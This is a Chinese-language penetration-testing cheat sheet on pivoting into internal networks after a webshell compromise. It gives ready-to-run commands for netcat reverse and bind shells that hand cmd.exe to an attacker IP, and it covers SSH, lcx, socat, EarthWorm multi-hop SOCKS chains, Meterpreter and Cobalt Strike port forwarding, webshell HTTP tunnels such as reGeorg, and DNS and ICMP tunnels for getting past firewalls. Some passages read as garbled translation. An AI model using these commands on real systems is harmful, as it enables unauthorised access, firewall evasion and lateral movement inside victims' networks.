内网渗透-端口转发总结
当我们得到网站时webshell提高权利后,建立管理员帐户或破解原管理员密码。然后打开目标服务器远程桌面,但它是一个内部网络服务器。
转发、映射、代理
其实这些概念很难区分,尤其是和后面的内网渗透混在一起的时候。从宏观上看,它们没有太大区别。但本质上还是有很大区别的。现在先说说我个人对这些概念的理解:
- 转发: 转发是一种渗透口从一个网络节点转发到另一个节点的点转发到另一个节点的行为。结果是一个外部网络用户通过一个NAT路由器到达内网IP地址端口。有时也叫隧道。
- 映射: 映射也是一种渗透手段,端口映射是外网主机IP地址的一个端口映射到内网的一台机器,并提供相应的服务。事实上,转发和映射经常发生
- 代理: 代理是一种结果,以端口转发和映射为技术基础。代理在很多场合是用在连接互联网的web以上服务,发挥突破ip封锁、隐藏身份等功能。其原理是动态端口转发。只需在机器和代理之间建立隧道,代理就可以根据机器发起的要求动态获取链的地址和端口。
- 内网穿透: 内网穿透是目的,其使用方法包括端口转发和映射,或直接使用代理。很多时候,我们指的是内网穿透场景是指攻击机和靶机处于不同的内网中,有些反弹shell直接实现等手段,因为IP地址不能相互连接。此时需要使用一些常见的内网穿透工具。这些工具也使用端口转发、映射或类似的方法来突破限制。
工具名称 | 主要用途 | 平台 | 备注 |
---|---|---|---|
lcx | 端口映射 | Windows | 只支持tcp非系统内置的协议端口转发。linux可实现端口转发和端口映射 |
netsh | 端口映射 | Windows | 只支持tcp需要安装协议的端口转发ipv6 |
rinetd | 反向代理 | Linux | 非内置需要自行安装 |
Earthworm | 端口映射、Socks5代理 | Linux、Windows、MacOS、Arm-Linux | 非系统内置支持多级转发非常方便 |
frp | 高性能反向代理应用 | go | 基于反向代理,可以灵活穿透内网,绕过防火墙 |
reGeorg | Socks5 代理 | 常见的脚本语言 | reGeorg利用webshell建立一个socks服务器必须支持代理内网穿透aspx、php、jsp、js等web语言 |
Metasploit portfwd | 端口映射 | MSF -> Metpreter会话 | 需要更好的网络条件 |
socat | 端口映射 | Linux | 可能需要安装 |
Metasploit->socks4a | 反向代理 | MSF -> Metpreter会话 | 会话主机需要有外网代理IP |
tunna | HTTP隧道 | 常见的脚本语言 | 脚本环境需要执行,不稳定 |
localtuuel | 内网公网映射 | nodojs | 和ngork内网到公网端口的映射也可以实现 |
ngork | 内网公网映射 | go | 您可以选择自建服务器或工具自带服务器 |
dns2tcp | DNS隧道 | kaii内置 | 内部过滤防火墙tcp出站策略,走DNS隧道,通过DNS流量中继TCP连接 |
Iodine | DNS隧道 | linux | 原理上和dns2tcp类似 |
icmpsh | ICMP隧道 | 需要root权限 | 禁止系统对icmp相应的,用工具处理收发icmp包 |
端口转发工具
一、系统内置的转发工具
1.iptables NAT功能
由于linux出于安全考虑,系统参数/proc/sys/net/ipv4/ip_forward默认为0,因此禁止NAT我们可以通过以下两种方式修改系统运行时的参数。
临时方案
echo 1 >/proc/sys/net/ipv4/ip_forward
长期方案
运行vi /etc/sysctl.conf
找到下面的值并将0改成1 net.ipv4.ip_forward = 1
运行sysctl –p,立即生效改变 。
以下是一个转发示例
#1.1.1.1是公网ip,192.168.2.2内网ip iptables -t nat -A PREROUTING -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080 iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1 service iptables save
这将使访问1.1.1.1:80 映射到了192.168.2.2:8080端口。
2.NC反弹(NetCat)
正向连接
打开远程主机上的监控 nc -l -p 5555 -e -t cmd.exe(-t是通过 telnet 模式执行 cmd.exe 可以省略程序。
kali(本地主机上)连接 nc -nvv 192.168.95.12(远程主机ip) 5555
成功后,本地主机获得了远程主机cmd shell。
反向连接
kali开启监听 nc -lnvp 7777 目标返向连接 nc -e cmd.exe 192.168.95.128 7777
成功后,本地主机获得了远程主机cmd shell。
3.SSH
这种代理需要更高的权限(system/root)直接使用系统功能打开内网代理隧道,配置VPN都比较简单,这里就不赘述了。我们来看看。SSH代理隧道
#!bash ssh -qTfnN -L port:host:hostport -l user remote_ip #对当地隧道进行监控port ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于内网防火墙穿透限制等 SSH -qTfnN -D port remotehost #直接进行socks代理
参数详解: -q Quiet mode. 安静模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before commandexecution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~
有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发
#!bash
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
4.netsh
windows自带规则配置工具
添加一条规则:将远程的3389端口转发到本地的7777端口上
netsh interface portproxy add v4tov4 listenport=7777 connect=3389 connectaddress=192.168.93.10 protocol=tcp
查看转发规则:netsh interface portproxy dump
删除转发规则:netsh interface portproxy delete v4tov4 listenport=7777
二、非内置的端口转发工具
1.lcx
lcx-<listen|tran|slave> <option> [-log logfile][option:]
-listen <监听端口> <转发端口>
-tran<监听端口> <目标地址> <目标端口>
-slave <目标主机> <目标端口> <本地主机><本机端口>
1.1内网机器上执行:
lcx.exe –slave 公网 IP + 端口 内网 IP + 端口
例如把内网主机192.168.1.521的 3389 端口转发到具有公网ip主机192.168.1.520的 4444 端口的命令为:
lcx.exe –slave 192.168.1.520 4444 192.168.1.521 3389
1.2公网主机 上执行
lcx.exe –listen 公网主机端口1 公网主机端口2
例如监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口的命令为:
lcx -listen 4444 5555
1.3Windows 命令行下输入mstsc,即可打开远程桌面连接
如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。
1.4特殊情况
由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53
2.socat
socat这个端口转发我们其实更常用在ssrf构造payload的时候本地抓包,因为socat有记录转发流的功能。将socat作为中介捕获我们构造的payload包,然后进行进一步的操作,如gopher协议的构造。
#安装
yum install -y socat
apt install -y socat
#TCP
nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000
TCP4-LISTEN:10000 监听 ipv4 的 10000TCP 端口。 10000 改成你自己需要转发的端口
fork TCP4:1.1.1.1:10000 转发到 1.1.1.1 的 10000 端口,根据需求修改自行修改 ip 和端口
nohup 后台运行。可以把这个命令写到 /etc/rc.local 里面开机启动启动。
#UDP
nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000
3.Metasploit socks4a
一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。
1. 在反弹的shell中添加路由,如
run autoroute -s 192.168.122.0/24
2. 使用socks4a模块并设置端口
use auxiliary/server/socks4a
3. 配置proxychains
4.Meterpreter portfwd
在MSF渗透框架里面内置了端口转发的命令,在回弹了shell的条件下可以直接使用,下面式相关参数解析。
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> 转发: 本地监听地址 反向: 本地主机连接到某个地址
-R 表示正向反向端口
-h 帮助信息
-i <opt> 端口转发条目的索引与交互(请参阅“列表”命令)
-l <opt> 转发:本地端口收听 反向:本地端口连接
-p <opt> 转发:远程端口连接 反向:远程端口监听
-r <opt> 转发:连接到远程主机
生成一个监听
portfwd add -l 1389 -r 192.168.93.10 -p 3389
查看已建立的规则: portfwd list
连接:rdesktop 192.168.0.108:1389 (此处是msf的地址)
例子:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389
portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877
5.rinetd
当外部主机是linux时,可使用其进行转发操作
lhost lport rhost rport
# 安装,注意到centos没有其默认的软件源,需要手动导入;ubuntu的比较方便
#centos 32
$ vim /etc/yum.repos.d/nux-misc.repo
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
#centos 64
$ vim /etc/yum.repos.d/nux-misc.repo:
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
$ yum --enablerepo=nux-misc install rinetd
# ubuntu
$ apt-get install rinetd
#配置文件在/etc/rinetd.conf,配置参数格式
[bindaddress] [bindport] [connectaddress] [connectport]
绑定的地址 绑定的端口 连接的地址 连接的端口
[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址 源端口 目的地址 目的端口
#举例
$ vim /etc/rinetd.conf
0.0.0.0 8080 172.19.94.3 8080
0.0.0.0 2222 192.168.0.103 3389
1.2.3.4 80 192.168.0.10 80
allow *.*.*.*
logfile /var/log/rinetd.log
#解释
0.0.0.0表示本机绑定所有可用地址
将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
allow设置允许访问的ip地址信息,*.*.*.*表示所有IP地址
logfil设置打印的log的位置
# 运行
#脚本启动
$ /etc/init.d/rinetd start
#二进制启动
$ /usr/sbin/rinetd -c /etc/rinetd.conf
#关闭(使用脚本,或则和pkill)
$ /etc/init.d/rinetd stop
6.ngrock
7.htran
绕过防火墙
方法1:htran.exe -p -tran lport lhost lport
方法2:htran.exe -p -slave rhost rport lhost lport portmap -m 2 -p1 xxxx -p2 xxxx
转发内网端口
方法1:htran.exe -p -tran lport rhost rport
方法2:
将本地(win2012)的3389转发到目标(win2008)的7777上
htran.exe -p -slave rhost(192.168.93.20) rport(7777) lhost(127.0.0.1) lport(3389)
在目标上(win2008)监听本地7777端口,转发到9999端口htran.exe -p -listen 7777 9999
attack 连接(win2008)9999端口,相当于连接了win2012的3389:rdesktop 192.168.0.106:9999
8.socat
转发内网端口
socket.exe TCP4-LISTEN:5555.reuseaddr.fork TCP4:192.168.93.10:3389
9.FPipe
转发内网端口
FPipe.exe -l lport -r rport rhost -v
网络代理工具
一、socks代理
1.cobaltstrike
cs生成一个客户端,将其拿到目标机器是上运行,拿到一个会话
然后进入交互模式
rportfwd 8888 rhost 3389
rportfwd stop 8888
2.Metasploit socks4a
一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。
1.添加路由:run post/multi/manage/autoroute
2.查看路由:run autoroute -p
3.添加socks代理:use auxiliary/server/socks4a
4.使用代理链工具调用代理:proxychains rdesktop 192.168.93.10
3.EW
工具的地址: http://rootkiter.com/EarthWorm/
这是个国产的打洞神器,因为其方便的多级转发,支持反向代理等特性,在内网渗透领域可是响当当的。
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
正向代理
用法:
WIN:ew_win32.exe -s ssocksd -l 1080
$ ./ew -s ssocksd -l 1080
流量走向:A <··> B:1080 <··> C
开启机器的1080端口做正向代理,我们可以通过链接该机器的1080端口进行端口代理转发。一般的场景为:kali 通过proxychain 链接开启了正向代理的公网ip。
反向代理
#公网主机A,ip假设为1.1.1.1
./ew -s rcsocks -l 1080 -e 8888
# 目标机B
./ew -s rssocks -d 1.1.1.1 -e 8888
WIN:
公网主机winA流量转发,ip假设为1.1.1.1:
ew_win32.exe -s rssocks -l 1080 -e 8888
winB转发自身流量到A的8888端口:
ew_win32.exe -s rssocks -d 192.168.93.20 -e 8888
kali连接:proxychains rdesktop 192.168.93.10
流量走向:kali <··> A:1080 <··> A:8888 <··>B
多级转发
在前面的两个场景中,我们看到了rcsocks,ssocksd,rssocks这三个命令的使用。在多级转发中我们会见到另外三个命令的作用。他们就类似于中间件,负责隧道导流与串接。
#命令使用举例:
# lcx_listen 用在将本机的端口进行转发
$ ./ew -s lcx_listen -l 1080 -e 8888
# lcx_tran 将本机端口与目的ip地址的端口进行转发
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
# lcx_slave 作为奴隶,将本机直接可达的两个主机实体上的端口进行转发
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
下面我们来看个实际渗透三级级联例子:
# 我们自己的VPS执行
$ ./ew -s rcsocks -l 1080 -e 8888
# 跳板机A执行
$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999
# 跳板机B执行
$ ./ew -s lcx_listen -l 9999 -e 7777
# 跳板机C执行
$ ./ew -s rssocks -d ip_B -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。
4.Termite(白蚁)
添加代理:socks 1080
反弹一个shell:shell 7777
二、DNS代理
1.dnscat2
服务端执行:ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.0.108" --no-cache
客户端连接:dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108
操作
查看所有的会话:windows
与指定会话交互:session -i
得到一个shell:shell
转到主界面:ctrl+z
2.iodine
https://github.com/yarrick/iodine
https://www.freebuf.com/articles/system/178214.html
https://blog.csdn.net/weixin_36440115/article/details/76400359
备选,遇linux主机可一试
服务端执行:iodined -p 123456 -f -DD 192.168.0.108 abc.com
客户端:iodine -p 123456 -f -r -T TXT 192.168.0.108 abc.com
3.dns2tcp
https://pkgs.org/download/dns2tcp
http://pwdme.cc/2016/11/11/dns2tcp-dns-tunnel/
https://kali.tuisec.win/kalitools/dns2tcp_zh.html
https://www.aldeid.com/wiki/Dns2tcp
三、HTTP代理
1.ReDuh(不太好用)
java -jar reDuhClient.jar http://192.168.0.108/reduh.jsp
nc -w localhost 1010
[create Tunnel]1234:127.0.0.1:3389
2.Tunna(推荐使用reGeorg,Tunna不稳定。)
Tunna工具地址
把代理脚本上传到目标服务器,然后通过代理内网的某个端口,将敏感端口流量转发了外网的的某个端口,再通过本地连接外网的端口进行连接。
将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析
python proxy.py -u http://192.168.0.108/conn.php -l 4444 -r 3389 -s -v --no-socks
本地执行:rdesktop 127.0.0.1:4444
3.reGeorg
reGeorg工具地址
Neo-reGeorg (支持客户端的加密)
设置密码并生成隧道文件:python neoreg py generate -k Scantime
将隧道文件放到目标服务器的web目录,连接web服务器并建立本地socks代理:python neoreg.py -k scantime -u http://192.168.0.108/tunnel.php
Socks连接工具连接本地
四、ICMP代理
1.icmpsh
运行前执行:sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端:icmpsh_m.py lhost rhost
客户端:icmpsh.exe -t serverhost